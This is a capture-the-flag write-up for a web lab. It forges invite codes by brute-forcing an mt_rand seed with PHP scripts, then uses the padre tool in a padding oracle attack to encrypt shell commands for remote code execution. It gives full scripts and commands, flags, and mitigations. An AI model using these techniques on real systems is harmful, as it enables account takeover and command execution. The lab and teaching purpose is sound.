🔗 Room Link

Difficulty: Medium Tags: CTF, Web Exploitation Target IP: 10.114.184.31

Objective

The main objective is to exploit a weak cryptographic implementation to gain unauthorized access to the system, then leverage a padding oracle vulnerability to achieve remote code execution and retrieve the flags.

Reconnaissance & Enumeration

Scanning Services

Making a quick scan of the target to identify open ports and services using nmap. Executing a default scan, nmap 10.114.184.31 1

Output:

  • ssh

Based on the result it might be interesting to scan even deeper using nmap -p- -sC -sV -T4 10.114.184.31 2

Output:

  • ssh
  • http

Exploring the HTTP service: http://10.114.184.31:1337 3

There are 3 interesting options to look further:

  • Login
  • Login with Invite Code
  • API Documentation

Directory Scan

Looking to extract more possible paths using gobuster. Starting with a basic directory scan gobuster dir -u http://10.114.184.31:1337 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 4

Output:

  • /css
  • /js
  • /logs
  • /phpmyadmin

Extended Directory Scan with Extensions

Looking to execute a directory scan with extensions gobuster dir -u http://10.114.184.31:1337 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,zip 5

Output:

  • /api.php
  • /dashboard.php

Log Analysis

Investigating /logs endpoints http://10.114.184.31:1337/logs 6

It contains a log file called app.log 7

The relevant information to extract are:

  • Email:alpha@fake.thm with the invitation code MTM0ODMzNzEyMg== has been deactivated
  • Email: hello@fake.thm as a new user created
  • URL: dashboard.php

Inspecting the main URL http://10.114.184.31:1337 with Network nav from browser development tools: 8

JavaScript Obfuscation Analysis

There is a script called api.js

function b(c,d){const e=a();return b=function(f,g){f=f-0x165;let h=e[f];return h;},b(c,d);}const j=b;function a(){const k=['16OTYqOr','861cPVRNJ','474AnPRwy','H7gY2tJ9wQzD4rS1','5228dijopu','29131EDUYqd','8756315tjjUKB','1232020YOKSiQ','7042671GTNtXE','1593688UqvBWv','90209ggCpyY'];a=function(){return k;};return a();}(function(d,e){const i=b,f=d();while(!![]){try{const g=parseInt(i(0x16b))/0x1+-parseInt(i(0x16f))/0x2+parseInt(i(0x167))/0x3*(parseInt(i(0x16a))/0x4)+parseInt(i(0x16c))/0x5+parseInt(i(0x168))/0x6*(parseInt(i(0x165))/0x7)+-parseInt(i(0x166))/0x8*(parseInt(i(0x16e))/0x9)+parseInt(i(0x16d))/0xa;if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0xe43f0));const c=j(0x169);

Looks like the function has been obfuscated. Using the following website https://deobfuscate.io to deobfuscate the current code:

function b(c, d) {
  const e = a();
  return b = function (f, g) {
    f = f - 357;
    let h = e[f];
    return h;
  }, b(c, d);
}
const j = b;
function a() {
  const k = ["16OTYqOr", "861cPVRNJ", "474AnPRwy", "H7gY2tJ9wQzD4rS1", "5228dijopu", "29131EDUYqd", "8756315tjjUKB", "1232020YOKSiQ", "7042671GTNtXE", "1593688UqvBWv", "90209ggCpyY"];
  a = function () {
    return k;
  };
  return a();
}
(function (d, e) {
  const i = b, f = d();
  while (true) {
    try {
      const g = parseInt(i(363)) / 1 + -parseInt(i(367)) / 2 + parseInt(i(359)) / 3 * (parseInt(i(362)) / 4) + parseInt(i(364)) / 5 + parseInt(i(360)) / 6 * (parseInt(i(357)) / 7) + -parseInt(i(358)) / 8 * (parseInt(i(366)) / 9) + parseInt(i(365)) / 10;
      if (g === e) break; else f.push(f.shift());
    } catch (h) {
      f.push(f.shift());
    }
  }
}(a, 934896));
const c = j(361);

There is a constant value invoked by j(361) assigned to a constant variable c. By inserting console.log(c) within Console nav from the browser development tools it should display a value: 9

Output:

  • H7gY2tJ9wQzD4rS1

Exploitation

Command Execution & Privilege Escalation

Trying this string (H7gY2tJ9wQzD4rS1) to access http://10.114.184.31:1337/api.php where it only requires a password, was the correct choice to access the API documentation.

After trying to log in as hello@fake.thm with the H7gY2tJ9wQzD4rS1 as the possible invitation code, it failed. Trying this string (H7gY2tJ9wQzD4rS1) to access http://10.114.184.31:1337/api.php where it only requires a password, it was the correct choice to access the API documentation. 10

Step 1: Cracking the Constant Value

It reveals the function that generates the invitation code against the user email.

function calculate_seed_value($email, $constant_value) {  
    $email_length = strlen($email);  
    $email_hex = hexdec(substr($email, 0, 8));  
    $seed_value = hexdec($email_length + $constant_value + $email_hex);  
    return $seed_value;  
}  
  
$seed_value = calculate_seed_value($email, $constant_value);  
mt_srand($seed_value);  
$random = mt_rand();  
$invite_code = base64_encode($random);

By knowing an existing active email hello@fake.thm it is only required to know the unknown constant_value. However, we already had an invitation sample code from alpha@fake.thm with the value of MTM0ODMzNzEyMg==. Observing the php code the invite_code value is encoded in base64 format. Using CyberChef to decode the value. 11

Output:

  • 1348337122

This value was generated by mt_rand function. This function is a pseudo-random number generator that is not considered cryptographically secure, since if an attacker gets the seed, then the output can be predicted. The seed_value is generated by (seed_value = email_length + constant_value + email_hex):

  • email_length
    • 14
  • constant_value
    • Unknown
  • email_hex
    • 61 6c 70 68 61 40 66 61 6b 65 2e 74 68 6d (using CyberChef)
    • Substring between 0 to 8: 616c7068
    • Decimal: 54 49 54 99 55 48 54 56

To get the constant_value we know the seed from alpha@fake.thm:

1348337122 = hexdec(14 + ? + 5449549955485456)

It is possible to loop over possible values by try and error, therefore typing a little script in php is going to be the way to discover the seed_value

<?php

$email = "alpha@fake.thm";
$target_invite_code = "MTM0ODMzNzEyMg==";

function calculate_seed_value($email, $constant_value) {

    $email_length = strlen($email); // 15
    $email_hex = hexdec(substr($email, 0, 8));
    $seed_value = hexdec((string)($email_length + $constant_value + $email_hex));

    return $seed_value;
}

echo "Starting...\n";

// Loop over possible constant values
for ($constant_value = 0; $constant_value < 100000; $constant_value++) {

    $seed_value = calculate_seed_value($email, $constant_value);
    mt_srand($seed_value);
    $random = mt_rand();
    $invite_code = base64_encode($random);

    if ($invite_code === $target_invite_code) {

        echo "Found constant value: $constant_value\n";
        break;
    }
}
?>

12 Output:

  • 99999

Step 2: Generating Valid Invitation Codes

With the constant_value known, now it is possible to guess the seed_value that acts as the invitation code for hello@fake.thm.

<?php

$email = "hello@fake.thm";
$constant_value = "99999";

function calculate_seed_value($email, $constant_value) {  
    $email_length = strlen($email);  
    $email_hex = hexdec(substr($email, 0, 8));  
    $seed_value = hexdec($email_length + $constant_value + $email_hex);  
    return $seed_value;  
}  
  
$seed_value = calculate_seed_value($email, $constant_value);  
mt_srand($seed_value);  
$random = mt_rand();  
$invite_code = base64_encode($random);
echo "Invite code: $invite_code";
?>

13

Output:

  • NDYxNTg5ODkx

The invitation code for hello@fake.thm is NDYxNTg5ODkx. Going back to the login with invite code page http://10.114.184.31:1337 and inserting the corresponding values to access into the account: 14

Flag after logging into the panel: THM{CryptographyPwn007}

From the dashboard view it is displayed another account admin@fake.thm, this account has an admin role. Knowing this new email and the constant_value of the seed generator function, it is possible to extract the invitation code from the admin@fake.thm account.

<?php

$email = "admin@fake.thm";
$constant_value = "99999";

function calculate_seed_value($email, $constant_value) {  
    $email_length = strlen($email);  
    $email_hex = hexdec(substr($email, 0, 8));  
    $seed_value = hexdec($email_length + $constant_value + $email_hex);  
    return $seed_value;  
}  
  
$seed_value = calculate_seed_value($email, $constant_value);  
mt_srand($seed_value);  
$random = mt_rand();  
$invite_code = base64_encode($random);
echo "Invite code: $invite_code";
?>

15

Output:

  • MTc0OTQ0NzAzNw==

After attempting to log in as an admin@fake.thm using the generated invitation code MTc0OTQ0NzAzNw== it returned a failed attempt. Then, accessing as an admin uses a different encryption process.

Step 3: Padding Oracle Attack

Going back to hello@fake.thm account but this time using Burp Suite to observe all the interactions with the web service. Capturing the packet from the Proxy feature and sending the packet into Repeater to observe the response from the server. 16

There is a hidden input. The hidden input is declared as date with the value bRBHqQfs9f4UhFIitZJJelGfu+ezN6Ijmd7fg++7NVk=, this value changes on each refresh from the page. By deleting the value as an empty string and refreshing the web page to see if something happens. 17

Error Output:

  • Padding error: error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length

This system error displays the decryption operation reached the final block and the padding check failed. After a google search for the error EVP_DecryptFinal is part of OpenSSL API. After sending a few requests using different datevalues a new error emerged. 18

Output:

  • Warning: openssl_decrypt(): IV passed is only 1 bytes long, cipher expects an IV of precisely 8 bytes, padding with \0 in /var/www/html/dashboard.php on line 28

This error means the code is calling openssel_decrypt() function with an IV (initialization vector) of the wrong length. The cipher/mode being used requires an 8-bytes. This value is common in ciphers such as DES/3DES in CBC mode. The value that we are providing is the IV.

After a research through the Internet, DES/3DES in CBC mode are susceptible into padding oracle and bit-flipping.

  • Padding oracle attack: exploits how padding errors are handled. It occurs when the application reveals whether the padding of a decrypted message is valid or not, this enables to gain information about the plaintext without knowing the encryption key.

After dorking (site: github.com php padding oracle attack) through the internet to get a program that exploits this specific vulnerability. A good candidate was padre, it supports tokens in GET/POST parameters and Cookies. Download the latest version and grant executable permissions using chmod +x padre_linux_amd64.

After some try and error and getting used to the new tool,./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' -enc 'ls' 19

Output:

  • fXGHJVbs4t9lbmJyaWVhcw==

Executing again the same command but modifying the command that we want to execute, ./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' 'fXGHJVbs4t9lbmJyaWVhcw==' 20

The system returned an output, therefore trying the specific path from the last flag question /home/ubuntu/flag.txt, ./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' -enc 'cat /home/ubuntu/flag.txt' 21

Output:

  • 8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw==

Once having the encrypted command to get the flag we are going to use the following command ./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' '8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw=='

Having this value now its time to insert as the date value on the dashboard URL, http://10.114.184.31:1337/dashboard.php?date=8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw== 22

Output:

  • THM{GOT_COMMAND_EXECUTION001}

Content of the /home/ubuntu/flag.txt: THM{GOT_COMMAND_EXECUTION001}

Conclusion

By exploiting a weak pseudo-random number generator (mt_rand()) in the invitation code generation system, we successfully predicted valid invitation codes for any user email. This granted us access to the dashboard where we discovered a padding oracle vulnerability in the DES/CBC encryption implementation. Using the padre tool, we leveraged the padding oracle to achieve remote code execution and retrieve the final flag.

Mitigations and Remediations

To prevent these specific vulnerabilities in a production environment, the following measures should be implemented:

  1. Cryptographically Secure Random Number Generation: replace mt_rand() with random_int() or openssl_random_pseudo_bytes() for security-critical operations.
  2. Remove Error Leakage: implement generic error messages that don’t reveal internal cryptographic details.
  3. Input Validation: validate and sanitize all user inputs, especially encrypted parameters passed to decryption functions.
  4. Use Authenticated Encryption: implement AEAD modes instead of CBC mode to prevent padding oracle attacks entirely.

Final Answers

  1. Flag after logging into the panel: THM{CryptographyPwn007}
  2. Content of the /home/ubuntu/flag.txt: THM{GOT_COMMAND_EXECUTION001}